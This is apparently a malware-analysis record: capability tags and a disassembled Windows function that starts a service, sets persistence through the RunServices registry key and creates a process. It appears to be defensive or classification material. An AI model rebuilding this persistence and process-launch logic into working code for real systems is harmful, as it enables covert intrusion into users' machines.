Function at 0x40fee0
Capabilities:
Create process on windows
Create process suspended
Persist via run registry key
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x479cd7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x49c
mov al, byte [0x4a709c]
test al, al
push esi
push edi
je 0x41001e
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [esp + 0xc], edi
test edi, edi
mov dword [esp + 0x4ac], 0
jne 0x40ff6b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x484b40
lea ecx, [esp + 0x1a0]
call fcn.0044ba90
mov esi, eax
push 0x49859c
lea eax, [esp + 0x98]
mov ecx, 0x41
lea edi, [esp + 0x98]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00459658
mov ecx, dword [ebp + 8]
push 0x10
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [esp + 8], esi
test esi, esi
mov byte [esp + 0x4ac], 1
jne 0x40ffc4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x484b9c
lea ecx, [esp + 0x1a0]
call fcn.0044ba90
push 0x49859c
lea edx, [esp + 0x98]
mov esi, eax
mov ecx, 0x41
lea edi, [esp + 0x98]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.00459658
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x41000d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x484c7c
lea ecx, [esp + 0x1a0]
call fcn.0044ba90
mov esi, eax
push 0x49859c
lea eax, [esp + 0x98]
mov ecx, 0x41
lea edi, [esp + 0x98]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00459658
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
jmp 0x41016c
mov esi, dword [ebp + 8]
push esi
call fcn.0040f720
add esp, 4
test eax, eax
je 0x410077
push 0x484c5c
lea ecx, [esp + 0x2a0]
push 0x100
push ecx
mov byte [esp + 0x2a8], 0
call fcn.0044c260
add esp, 0xc
push 0x498d60
lea edx, [esp + 0x98]
mov ecx, 0x40
lea esi, [esp + 0x2a0]
lea edi, [esp + 0x98]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.00459658
push 0
lea ecx, [esp + 0x14]
call fcn.0040e690
push 0
push reloc.WS2_32.dll_bind
lea ecx, [esp + 0x2c]
mov dword [esp + 0x4b4], 2
call fcn.0040ee60
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x4b8], 3
call fcn.0040efa0
lea ecx, [esp + 0x24]
mov byte [esp + 0x4ac], 2
call fcn.0040e6b0
push esi
lea ecx, [esp + 0x14]
call fcn.0040f050
mov esi, eax
mov dword [esp + 8], esi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x4c]
push edx
push eax
push eax
push 0x10
push eax
push eax
push eax
push esi
push eax
mov byte [esp + 0x4d4], 4
mov dword [esp + 0x70], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x41014f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x484c44
lea ecx, [esp + 0x3a4]
call fcn.0044ba90
mov esi, eax
push 0x49859c
lea eax, [esp + 0x19c]
mov ecx, 0x41
lea edi, [esp + 0x19c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00459658
push esi
call fcn.00459039
add esp, 4
lea ecx, [esp + 0x10]
mov dword [esp + 0x4ac], 0xffffffff
call fcn.0040e6b0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0x4a4]
pop edi
mov al, 1
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret